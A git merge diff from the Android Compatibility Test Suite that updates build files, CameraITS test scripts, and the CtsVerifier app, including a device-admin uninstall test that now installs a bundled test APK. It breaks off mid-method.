Merge changes I452e051c,If35ceac5 into oreo-cts-dev
am: 426516cdee

Change-Id: I7ff86dd7d9aabbd8bae5a775c02906fd7d2928e1
diff --git a/CtsCoverage.mk b/CtsCoverage.mk
index c4536f63..aeef125 100644
--- a/CtsCoverage.mk
+++ b/CtsCoverage.mk
@@ -84,12 +84,10 @@
 cts-combined-xml-coverage : $(cts-combined-xml-coverage-report)
 
 # Put the test coverage report in the dist dir if "cts" is among the build goals.
-ifneq ($(filter cts, $(MAKECMDGOALS)),)
-  $(call dist-for-goals, cts, $(cts-test-coverage-report):cts-test-coverage-report.html)
-  $(call dist-for-goals, cts, $(cts-verifier-coverage-report):cts-verifier-coverage-report.html)
-  $(call dist-for-goals, cts, $(cts-combined-coverage-report):cts-combined-coverage-report.html)
-  $(call dist-for-goals, cts, $(cts-combined-xml-coverage-report):cts-combined-coverage-report.xml)
-endif
+$(call dist-for-goals, cts, $(cts-test-coverage-report):cts-test-coverage-report.html)
+$(call dist-for-goals, cts, $(cts-verifier-coverage-report):cts-verifier-coverage-report.html)
+$(call dist-for-goals, cts, $(cts-combined-coverage-report):cts-combined-coverage-report.html)
+$(call dist-for-goals, cts, $(cts-combined-xml-coverage-report):cts-combined-coverage-report.xml)
 
 # Arguments;
 #  1 - Name of the report printed out on the screen
@@ -98,7 +96,7 @@
 define generate-coverage-report
 	$(hide) mkdir -p $(dir $@)
 	$(hide) $(PRIVATE_CTS_API_COVERAGE_EXE) -d $(PRIVATE_DEXDEPS_EXE) -a $(PRIVATE_API_XML_DESC) -f $(3) -o $@ $(2)
-	@ echo $(1): file://$(ANDROID_BUILD_TOP)/$@
+	@ echo $(1): file://$$(cd $(dir $@); pwd)/$(notdir $@)
 endef
 
 # Reset temp vars
diff --git a/apps/CameraITS/tests/scene0/test_metadata.py b/apps/CameraITS/tests/scene0/test_metadata.py
index e78488e..752e02b 100644
--- a/apps/CameraITS/tests/scene0/test_metadata.py
+++ b/apps/CameraITS/tests/scene0/test_metadata.py
@@ -90,8 +90,8 @@
         pixel_pitch_w = (sensor_size["width"] / fmts[0]["width"] * 1E3)
         print "Assert pixel_pitch WxH: %.2f um, %.2f um" % (pixel_pitch_w,
                                                             pixel_pitch_h)
-        assert 0.9 <= pixel_pitch_w <= 10
-        assert 0.9 <= pixel_pitch_h <= 10
+        assert 1.0 <= pixel_pitch_w <= 10
+        assert 1.0 <= pixel_pitch_h <= 10
         assert 0.333 <= pixel_pitch_w/pixel_pitch_h <= 3.0
 
         diag = math.sqrt(sensor_size["height"] ** 2 +
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index de269b7..20a9c3d 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -58,8 +58,6 @@
                be handled automatically. Note that this argument requires
                special physical/hardware setup to work and may not work on
                all android devices.
-        skip_scene_validation: force skip scene validation. Used when test scene
-                 is setup up front and don't require tester validation.
     """
 
     # Not yet mandated tests
@@ -119,8 +117,6 @@
     result_device_id = None
     rot_rig_id = None
 
-    skip_scene_validation = False
-
     for s in sys.argv[1:]:
         if s[:7] == "camera=" and len(s) > 7:
             camera_ids = s[7:].split(',')
@@ -133,8 +129,6 @@
         elif s[:8] == 'rot_rig=' and len(s) > 8:
             rot_rig_id = s[8:]  # valid values: 'default' or '$VID:$PID:$CH'
             # The default '$VID:$PID:$CH' is '04d8:fc73:1'
-        elif s == 'skip_scene_validation':
-            skip_scene_validation = True
 
     auto_scene_switch = chart_host_id is not None
     merge_result_switch = result_device_id is not None
@@ -253,7 +247,7 @@
                     skip_code = skip_sensor_fusion()
                     if rot_rig_id or skip_code == SKIP_RET_CODE:
                         validate_switch = False
-                if skip_scene_validation:
+                if scene == 'scene5':
                     validate_switch = False
                 cmd = None
                 if auto_scene_switch:
diff --git a/apps/CameraITS/tools/run_parallel_tests.py b/apps/CameraITS/tools/run_parallel_tests.py
index 902eaba..a8a77d4 100644
--- a/apps/CameraITS/tools/run_parallel_tests.py
+++ b/apps/CameraITS/tools/run_parallel_tests.py
@@ -99,8 +99,6 @@
     # scene 5 is not automated and no chart is needed
     if scene_id != '5':
         cmd.append('chart=%s' % chart_host_id)
-    else:
-        cmd.append('skip_scene_validation')
 
     return cmd
 
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index 2dd5f23..bc7f5b6 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -40,6 +40,8 @@
                                compatibility-device-util \
                                platform-test-annotations
 
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
 LOCAL_PACKAGE_NAME := CtsVerifier
 
 LOCAL_JNI_SHARED_LIBRARIES := libctsverifier_jni \
@@ -51,7 +53,7 @@
 LOCAL_SDK_VERSION := test_current
 
 LOCAL_DEX_PREOPT := false
-
+-include cts/error_prone_rules_tests.mk
 include $(BUILD_PACKAGE)
 
 # Build CTS verifier framework as a libary.
@@ -71,7 +73,6 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
 LOCAL_SRC_FILES := \
     $(call java-files-in, src/com/android/cts/verifier) \
-    $(call java-files-in, src/com/android/cts/verifier/backup) \
     $(call all-Iaidl-files-under, src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 \
@@ -96,11 +97,10 @@
 
 # Builds and launches CTS Verifier on a device.
 .PHONY: cts-verifier
-cts-verifier: CtsVerifier adb NotificationBot CtsPermissionApp CtsEmptyDeviceAdmin
+cts-verifier: CtsVerifier adb NotificationBot CtsPermissionApp
 	adb install -r $(PRODUCT_OUT)/data/app/CtsVerifier/CtsVerifier.apk \
 		&& adb install -r $(notification-bot) \
 		&& adb install -r $(permission-app) \
-		&& adb install -r $(empty-device-admin) \
 		&& adb shell "am start -n com.android.cts.verifier/.CtsVerifierActivity"
 
 #
@@ -147,8 +147,6 @@
 		$(hide) $(ACP) -fpr $(HOST_OUT)/CameraITS $(verifier-dir)
 		$(hide) cd $(cts-dir) && zip -rq $(verifier-dir-name) $(verifier-dir-name)
 
-ifneq ($(filter cts, $(MAKECMDGOALS)),)
-  $(call dist-for-goals, cts, $(verifier-zip):$(verifier-zip-name))
-endif
+$(call dist-for-goals, cts, $(verifier-zip):$(verifier-zip-name))
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 730435a..3203db1 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
       package="com.android.cts.verifier"
       android:versionCode="5"
-      android:versionName="8.0_r4">
+      android:versionName="8.0_r1">
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="26"/>
 
@@ -1659,7 +1659,6 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_camera" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.sensor.gyroscope" />
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
         </activity>
         <activity
@@ -2499,6 +2498,15 @@
                 android:resource="@xml/filepaths" />
         </provider>
 
+        <provider
+            android:name="com.android.cts.verifier.admin.DeviceAdminUninstallTestActivity$DeviceAdminApkFileProvider"
+            android:authorities="com.android.cts.verifier.admin.fileprovider"
+            android:grantUriPermissions="true">
+            <meta-data
+                android:name="android.support.FILE_PROVIDER_PATHS"
+                android:resource="@xml/filepaths_admin" />
+        </provider>
+
         <activity android:name=".managedprovisioning.ByodIconSamplerActivity">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.BYOD_SAMPLE_ICON" />
@@ -2716,6 +2724,17 @@
                 android:value="android.software.live_tv" />
         </activity>
 
+        <activity android:name=".tv.MicrophoneDeviceTestActivity"
+                  android:label="@string/tv_microphone_device_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_tv" />
+            <meta-data android:name="test_required_features"
+                       android:value="android.software.leanback" />
+        </activity>
+
         <activity android:name=".screenpinning.ScreenPinningTestActivity"
             android:label="@string/screen_pinning_test">
             <intent-filter>
@@ -3098,7 +3117,7 @@
                 android:value="@string/test_category_telephony"/>
             <meta-data
                 android:name="test_required_features"
-                android:value="android.hardware.telephony:android.software.sip:android.software.sip.voip"/>
+                android:value="android.hardware.telephony"/>
         </activity>
 
         <service
@@ -3142,7 +3161,7 @@
                 android:value="@string/test_category_telecom"/>
             <meta-data
                 android:name="test_required_features"
-                android:value="android.hardware.telephony:android.software.sip:android.software.sip.voip"/>
+                android:value="android.hardware.telephony"/>
         </activity>
 
         <activity
@@ -3158,7 +3177,7 @@
                 android:value="@string/test_category_telecom"/>
             <meta-data
                 android:name="test_required_features"
-                android:value="android.hardware.telephony:android.software.sip:android.software.sip.voip"/>
+                android:value="android.hardware.telephony"/>
             </activity>
 
         <activity
@@ -3190,7 +3209,7 @@
                 android:value="@string/test_category_telecom"/>
             <meta-data
                 android:name="test_required_features"
-                android:value="android.hardware.telephony:android.software.sip:android.software.sip.voip"/>
+                android:value="android.hardware.telephony"/>
         </activity>
 
         <service android:name="com.android.cts.verifier.telecom.CtsConnectionService"
diff --git a/apps/CtsVerifier/assets/apk/CtsEmptyDeviceAdmin.apk b/apps/CtsVerifier/assets/apk/CtsEmptyDeviceAdmin.apk
new file mode 100644
index 0000000..d0ebbf4
--- /dev/null
+++ b/apps/CtsVerifier/assets/apk/CtsEmptyDeviceAdmin.apk
Binary files differ
diff --git a/apps/CtsVerifier/jni/verifier/Android.mk b/apps/CtsVerifier/jni/verifier/Android.mk
index 1e43211..66f3fd0 100644
--- a/apps/CtsVerifier/jni/verifier/Android.mk
+++ b/apps/CtsVerifier/jni/verifier/Android.mk
@@ -32,5 +32,10 @@
 LOCAL_SHARED_LIBRARIES := liblog \
 		libnativehelper_compat_libc++
 
+LOCAL_CFLAGS := \
+        -Wall -Werror \
+        -Wno-unused-parameter \
+        -Wno-unused-variable \
+
 include $(BUILD_SHARED_LIBRARY)
 
diff --git a/apps/CtsVerifier/res/layout/da_uninstall_test_main.xml b/apps/CtsVerifier/res/layout/da_uninstall_test_main.xml
index ff16ed5..0415100 100644
--- a/apps/CtsVerifier/res/layout/da_uninstall_test_main.xml
+++ b/apps/CtsVerifier/res/layout/da_uninstall_test_main.xml
@@ -46,8 +46,18 @@
                 android:layout_alignParentRight="true"
                 android:layout_alignParentTop="true"
                 android:layout_toRightOf="@id/install_admin_status"
-                android:layout_marginTop="10dip"
                 android:text="@string/da_install_admin_instructions" />
+
+            <Button
+                android:id="@+id/install_device_admin_button"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_alignParentRight="true"
+                android:layout_below="@id/install_admin_instructions"
+                android:layout_marginLeft="20dip"
+                android:layout_marginRight="20dip"
+                android:layout_toRightOf="@id/install_admin_status"
+                android:text="@string/da_install_admin_button_text" />
         </RelativeLayout>
 
         <!-- Enable device admin -->
diff --git a/apps/CtsVerifier/res/layout/dialer_incoming_call.xml b/apps/CtsVerifier/res/layout/dialer_incoming_call.xml
index e4f7408..c22df15 100644
--- a/apps/CtsVerifier/res/layout/dialer_incoming_call.xml
+++ b/apps/CtsVerifier/res/layout/dialer_incoming_call.xml
@@ -14,88 +14,82 @@
      limitations under the License.
 -->
 
-<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
-    style="@style/RootLayoutPadding">
-  <LinearLayout
-      android:orientation="vertical"
+    android:orientation="vertical">
+  <TextView
       android:layout_width="match_parent"
-      android:layout_height="match_parent">
+      android:layout_height="wrap_content"
+      android:text="@string/dialer_incoming_call_test"/>
 
-    <TextView
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:text="@string/dialer_incoming_call_test"/>
-
-    <LinearLayout
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_marginTop="@dimen/js_padding"
-        android:layout_marginBottom="@dimen/js_padding">
-      <ImageView
-          android:id="@+id/set_default_dialer_image"
-          android:layout_width="wrap_content"
-          android:layout_height="wrap_content"
-          android:layout_marginRight="@dimen/js_padding"
-          android:src="@drawable/fs_indeterminate"/>
-      <TextView
-          android:layout_width="wrap_content"
-          android:layout_height="wrap_content"
-          android:text="@string/dialer_incoming_call_test_instructions"
-          android:textSize="16dp"/>
-    </LinearLayout>
-
-    <Button
-        android:id="@+id/set_default_dialer"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:text="@string/voicemail_set_default_dialer_button"/>
-
-    <LinearLayout
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_marginTop="@dimen/js_padding"
-        android:layout_marginBottom="@dimen/js_padding">
-      <ImageView
-          android:id="@+id/dialer_incoming_call_status"
-          android:layout_width="wrap_content"
-          android:layout_height="wrap_content"
-          android:layout_marginRight="@dimen/js_padding"
-          android:src="@drawable/fs_indeterminate"/>
-      <TextView
-          android:id="@+id/dialer_check_incoming_call_explanation"
-          android:layout_width="wrap_content"
-          android:layout_height="wrap_content"
-          android:text="@string/dialer_check_incoming_call_explanation"
-          android:textSize="16dp"/>
-    </LinearLayout>
-
-    <LinearLayout
+  <LinearLayout
       android:layout_width="wrap_content"
       android:layout_height="wrap_content"
       android:layout_marginTop="@dimen/js_padding"
       android:layout_marginBottom="@dimen/js_padding">
-      <ImageView
-          android:id="@+id/restore_default_dialer_image"
-          android:layout_width="wrap_content"
-          android:layout_height="wrap_content"
-          android:layout_marginRight="@dimen/js_padding"
-          android:src="@drawable/fs_indeterminate"/>
-      <TextView
-          android:id="@+id/restore_default_dialer_text"
-          android:layout_width="wrap_content"
-          android:layout_height="wrap_content"
-          android:text="@string/voicemail_restore_default_dialer_description"
-          android:textSize="16dp"/>
-      </LinearLayout>
-
-    <Button
-        android:id="@+id/restore_default_dialer"
+    <ImageView
+        android:id="@+id/set_default_dialer_image"
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:text="@string/voicemail_restore_default_dialer_button"/>
-
-    <include layout="@layout/pass_fail_buttons"/>
+        android:layout_marginRight="@dimen/js_padding"
+        android:src="@drawable/fs_indeterminate"/>
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/dialer_incoming_call_test_instructions"
+        android:textSize="16dp"/>
   </LinearLayout>
-</ScrollView>
+
+  <Button
+      android:id="@+id/set_default_dialer"
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:text="@string/voicemail_set_default_dialer_button"/>
+
+  <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+    <ImageView
+        android:id="@+id/dialer_incoming_call_status"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginRight="@dimen/js_padding"
+        android:src="@drawable/fs_indeterminate"/>
+    <TextView
+        android:id="@+id/dialer_check_incoming_call_explanation"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/dialer_check_incoming_call_explanation"
+        android:textSize="16dp"/>
+  </LinearLayout>
+
+  <LinearLayout
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_marginTop="@dimen/js_padding"
+      android:layout_marginBottom="@dimen/js_padding">
+    <ImageView
+        android:id="@+id/restore_default_dialer_image"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginRight="@dimen/js_padding"
+        android:src="@drawable/fs_indeterminate"/>
+    <TextView
+        android:id="@+id/restore_default_dialer_text"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/voicemail_restore_default_dialer_description"
+        android:textSize="16dp"/>
+  </LinearLayout>
+
+  <Button
+      android:id="@+id/restore_default_dialer"
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:text="@string/voicemail_restore_default_dialer_button"/>
+
+  <include layout="@layout/pass_fail_buttons"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/values-watch/strings.xml b/apps/CtsVerifier/res/values-watch/strings.xml
index 7fb22e9..aaad40c 100644
--- a/apps/CtsVerifier/res/values-watch/strings.xml
+++ b/apps/CtsVerifier/res/values-watch/strings.xml
@@ -25,16 +25,6 @@
       turn on and device will vibrate once all the tests are completed.
     </string>
 
-    <string name="da_tapjacking_instructions">
-        1. Launch the device admin add screen by pressing the button below.\n
-        2. Wait for an overlaying transparent activity to show up obscuring the device admin details window.\n
-        3. The button to activate the admin should be disabled and should not register any taps.\n
-        4. Wait 10 seconds for the overlaying transparent activity to go away.\n
-        5. Exit the device admin details and return to this screen.\n
-        Pass the test if the device admin could not be activated while the details
-        window was being obscured.
-    </string>
-
     <string name="device_owner_network_logging_ui_info">
         1) Ensure the device has a lock screen enabled.\n
         2) Enable network logging by tapping on the left button below.\n
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index e11ff22..0ba93cd 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -77,7 +77,7 @@
     <string name="da_uninstall_test">Device Admin Uninstall Test</string>
     <string name="da_uninstall_test_info">This test checks that an active device administrator
         can be easily uninstalled from the application details screen in a way similar to other
-        apps. This test requires CtsEmptyDeviceAdmin.apk to be installed on the device.
+        apps.
     </string>
     <string name="da_tapjacking_test">Device Admin Tapjacking Test</string>
     <string name="da_tapjacking_test_info">This test checks that an activity cannot tapjack the
@@ -124,10 +124,10 @@
     <string name="da_lock_success">It appears the screen was locked successfully!</string>
     <string name="da_lock_error">It does not look like the screen was locked...</string>
 
-    <string name="da_install_admin_instructions">
-        Please install the \'Test Device Admin\' app (packaged as CtsEmptyDeviceAdmin.apk) on the device.
+    <string name="da_install_admin_instructions">Please install the \'Test Device Admin\' app on the device.
+        If needed, grant \'Cts Verifier\' permission to install unknown apps, and return when install succeeds.
     </string>
-    <string name="da_admin_installed_status_text">\'Test Device Admin\' installed on the device.</string>
+    <string name="da_install_admin_button_text">Install admin</string>
     <string name="da_enable_admin_instructions">Add \'Test Device Admin\' as an active administrator on the device.
         Tap the button below to review the device admin details and activate the administrator.
     </string>
@@ -271,9 +271,9 @@
     <string name="ble_write_descriptor_name">Bluetooth LE Write Descriptor</string>
     <string name="ble_read_rssi_name">Bluetooth LE Read RSSI</string>
     <string name="ble_client_disconnect_name">Bluetooth LE Client Disconnect</string>
-    <string name="ble_client_test_info">
+    <string name="ble_insecure_client_test_info">
         The Bluetooth LE test must be done simultaneously on two devices. This device is the client.
-        All tests listed here must be done with out pairing.
+        All tests listed here must be done without pairing.
     </string>
     <string name="ble_client_send_connect_info">Type in the Bluetooth address of the remote device to connect to, and verify that the devices are connected.</string>
     <string name="ble_discover_service_info">Verify that the service is discovered when you press the "Discover Service" button.</string>
@@ -1918,7 +1918,7 @@
     <string name="pca_info">This tests whether or not OpenGL projection works.\n
         You should see two "tumbling cubes." Tapping the screen should cause the cubes to explode.</string>
     <string name="pca_test">Projection Cube Test</string>
-    <string name="pwa_info">This tests whether or displaying widets and keyfocus navigation works.\n
+    <string name="pwa_info">This tests whether or displaying widgets and keyfocus navigation works.\n
         You should see four buttons on the bottom of the screen.\n
         Pressing the "up" and "down" buttons should highlight different buttons.\n
         Furthermore, the highlight should disappear when any button is touched, and the touched button should behave as usual.\n</string>
@@ -2883,7 +2883,7 @@
     <string name="disallow_remove_user">Disallow remove user</string>
     <string name="disallow_remove_user_action">Removing other users</string>
     <string name="disallow_remove_managed_profile">Disallow remove managed profile</string>
-    <string name="disallow_remove_managed_profile_action">Removing the work profile. It shouldn\'t be possible neither from the Accounts screen nor the Device Administrators screen (after selecting the Device Administrator that corresponds to the badged version of \"CTS Verifier\"). You may not be able to observe a support dialog in the latter case.</string>
+    <string name="disallow_remove_managed_profile_action">Removing the work profile. It shouldn\'t be possible neither from the Accounts screen nor the Device Administrators screen (after selecting the Device Administrator that corresponds to the badged version of \"CTS Verifier\")</string>
     <string name="disallow_share_location">Disallow share location</string>
     <string name="disallow_share_location_action">Turning on location sharing</string>
     <string name="disallow_uninstall_apps">Disallow uninstall apps</string>
@@ -3436,6 +3436,35 @@
     2) You should see the text \"Cts App-Link Text\".\n
     </string>
 
+    <string name="tv_microphone_device_test">Microphone device test</string>
+    <string name="tv_microphone_device_test_info">
+    This test checks if InputDevice.hasMicrophone of the Media API reports a
+    correct value on every input device (including remote controls).
+    </string>
+    <string name="tv_microphone_device_test_prep_question">
+    Before continuing, please make sure that you pair all primary input
+    devices intended to be used by the device, including bluetooth
+    remotes and companion remote-control apps such as the Android TV Remote Control.
+    Have you paired every primary input device with the device under test (DUT)?
+    </string>
+    <string name="tv_microphone_device_test_mic_question">
+    Does input device \"%1$s\" have a microphone?
+    </string>
+    <string name="tv_microphone_device_test_negative_mismatch">
+    InputDevice.hasMicrophone reports that this input device DOES have a
+    microphone whereas you selected that it does not.  Please correct it by
+    declaring \"audio.mic = 0\" in the device\'s input device configuration
+    (.idc) file.
+    </string>
+    <string name="tv_microphone_device_test_positive_mismatch">
+    InputDevice.hasMicrophone reports that this input device does NOT have a
+    microphone whereas you selected that it does.  Please correct it by
+    declaring \"audio.mic = 1\" in the device\'s input device configuration
+    (.idc) file and make sure that relevant files such as key layout (.kl)
+    and key character map (.kcm) files are found by the system accordingly.
+    </string>
+    <string name="tv_microphone_device_test_no_input_devices">No input devices found.</string>
+
     <string name="overlay_view_text">Overlay View Dummy Text</string>
     <string name="custom_rating">Example of input app specific custom rating.</string>
 
@@ -3795,8 +3824,8 @@
     </string-array>
 
     <!-- Strings for setting and restoring default dialer for voicemail tests -->
-    <string name="voicemail_restore_default_dialer_description">(Optional) restore the default dialer setting</string>
-    <string name="voicemail_restore_default_dialer_no_default_description">(Optional) restore the default dialer by going to settings-> apps -> cogwheel -> Phone app</string>
+    <string name="voicemail_restore_default_dialer_description">Restore the default dialer setting</string>
+    <string name="voicemail_restore_default_dialer_no_default_description">Restore the default dialer by going to settings-> apps -> cogwheel -> Phone app</string>
     <string name="voicemail_restore_default_dialer_button">Restore the default dialer"</string>
     <string name="voicemail_default_dialer_already_set">Default dialer already set</string>
     <string name="voicemail_default_dialer_already_restored">Default dialer already restored</string>
diff --git a/apps/CtsVerifier/res/xml/filepaths_admin.xml b/apps/CtsVerifier/res/xml/filepaths_admin.xml
new file mode 100644
index 0000000..380431b
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/filepaths_admin.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<paths xmlns:android="http://schemas.android.com/apk/res/android">
+    <external-files-path path="apk/" name="apk" />
+</paths>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java
index 5dfe1f7..760a396 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java
@@ -17,24 +17,28 @@
 package com.android.cts.verifier.admin;
 
 import android.app.admin.DevicePolicyManager;
-import android.content.BroadcastReceiver;
 import android.content.ComponentName;
-import android.content.Context;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
+import android.content.res.AssetManager;
 import android.net.Uri;
 import android.os.Bundle;
 import android.provider.Settings;
+import android.support.v4.content.FileProvider;
+import android.util.Log;
 import android.view.View;
 import android.widget.Button;
 import android.widget.ImageView;
-import android.widget.TextView;
 
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
 /**
  * Test that checks that active device admins can be easily uninstalled via the app details screen
  */
@@ -45,34 +49,29 @@
     private static final String ADMIN_PACKAGE_NAME = "com.android.cts.emptydeviceadmin";
     private static final String ADMIN_RECEIVER_CLASS_NAME =
             "com.android.cts.emptydeviceadmin.EmptyDeviceAdmin";
+    private static final String TEST_APK_ASSET_LOCATION = "apk/CtsEmptyDeviceAdmin.apk";
+    private static final String TEST_APK_FILES_LOCATION = "apk/CtsEmptyDeviceAdmin.apk";
     private static final String ADMIN_INSTALLED_BUNDLE_KEY = "admin_installed";
     private static final String ADMIN_ACTIVATED_BUNDLE_KEY = "admin_activated";
     private static final String ADMIN_REMOVED_BUNDLE_KEY = "admin_removed";
 
+    private static final int REQUEST_INSTALL_ADMIN = 0;
     private static final int REQUEST_ENABLE_ADMIN = 1;
     private static final int REQUEST_UNINSTALL_ADMIN = 2;
 
     private DevicePolicyManager mDevicePolicyManager;
 
+    private Button mInstallAdminButton;
     private ImageView mInstallStatus;
-    private TextView mInstallAdminText;
     private Button mAddDeviceAdminButton;
     private ImageView mEnableStatus;
     private Button mUninstallAdminButton;
     private ImageView mUninstallStatus;
+    private File mApkFile;
     private boolean mAdminInstalled;
     private boolean mAdminActivated;
     private boolean mAdminRemoved;
     private ComponentName mAdmin;
-    private final BroadcastReceiver mPackageAddedListener = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            final Uri uri = intent.getData();
-            if (uri != null && ADMIN_PACKAGE_NAME.equals(uri.getSchemeSpecificPart())) {
-                onAdminPackageInstalled();
-            }
-        }
-    };
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -80,9 +79,13 @@
         setContentView(R.layout.da_uninstall_test_main);
         setInfoResources(R.string.da_uninstall_test, R.string.da_uninstall_test_info, -1);
         setPassFailButtonClickListeners();
+
         mAdmin = new ComponentName(ADMIN_PACKAGE_NAME, ADMIN_RECEIVER_CLASS_NAME);
         mDevicePolicyManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
 
+        mApkFile = new File(getExternalFilesDir(null), TEST_APK_FILES_LOCATION);
+        copyApkToFile(mApkFile);
+
         if (savedInstanceState != null) {
             mAdminInstalled = savedInstanceState.getBoolean(ADMIN_INSTALLED_BUNDLE_KEY, false);
             mAdminActivated = savedInstanceState.getBoolean(ADMIN_ACTIVATED_BUNDLE_KEY, false);
@@ -91,27 +94,36 @@
             mAdminInstalled = isPackageInstalled(ADMIN_PACKAGE_NAME);
             mAdminActivated = mDevicePolicyManager.isAdminActive(mAdmin);
         }
-        mInstallStatus = findViewById(R.id.install_admin_status);
-        mInstallAdminText = findViewById(R.id.install_admin_instructions);
-        if (!mAdminInstalled) {
-            final IntentFilter packageAddedFilter = new IntentFilter(Intent.ACTION_PACKAGE_ADDED);
-            packageAddedFilter.addDataScheme("package");
-            registerReceiver(mPackageAddedListener, packageAddedFilter);
-        }
 
-        mEnableStatus = findViewById(R.id.enable_admin_status);
-        mAddDeviceAdminButton = findViewById(R.id.enable_device_admin_button);
+        mInstallStatus = (ImageView) findViewById(R.id.install_admin_status);
+        mInstallAdminButton = (Button) findViewById(R.id.install_device_admin_button);
+        mInstallAdminButton.setOnClickListener(this);
+
+        mEnableStatus = (ImageView) findViewById(R.id.enable_admin_status);
+        mAddDeviceAdminButton = (Button) findViewById(R.id.enable_device_admin_button);
         mAddDeviceAdminButton.setOnClickListener(this);
 
-        mUninstallStatus = findViewById(R.id.uninstall_admin_status);
-        mUninstallAdminButton = findViewById(R.id.open_app_details_button);
+        mUninstallStatus = (ImageView) findViewById(R.id.uninstall_admin_status);
+        mUninstallAdminButton = (Button) findViewById(R.id.open_app_details_button);
         mUninstallAdminButton.setOnClickListener(this);
     }
 
-    private void onAdminPackageInstalled() {
-        mAdminInstalled = true;
-        updateWidgets();
-        unregisterReceiver(mPackageAddedListener);
+
+    private void copyApkToFile(File destFile) {
+        destFile.getParentFile().mkdirs();
+        try (FileOutputStream out = new FileOutputStream(destFile);
+             InputStream in = getAssets().open(TEST_APK_ASSET_LOCATION,
+                     AssetManager.ACCESS_BUFFER)) {
+            byte[] buffer = new byte[4096];
+            int bytesRead;
+            while ((bytesRead = in.read(buffer)) >= 0) {
+                out.write(buffer, 0, bytesRead);
+            }
+            out.flush();
+            Log.d(TAG, "successfully copied apk to " + destFile.getAbsolutePath());
+        } catch (IOException exc) {
+            Log.e(TAG, "Exception while copying device admin apk", exc);
+        }
     }
 
     private boolean isPackageInstalled(String packageName) {
@@ -126,7 +138,14 @@
 
     @Override
     public void onClick(View v) {
-        if (v == mAddDeviceAdminButton) {
+        if (v == mInstallAdminButton) {
+            Intent intent = new Intent(Intent.ACTION_INSTALL_PACKAGE);
+            intent.setData(DeviceAdminApkFileProvider.getUriForFile(this,
+                    DeviceAdminApkFileProvider.CONTENT_AUTHORITY, mApkFile));
+            intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
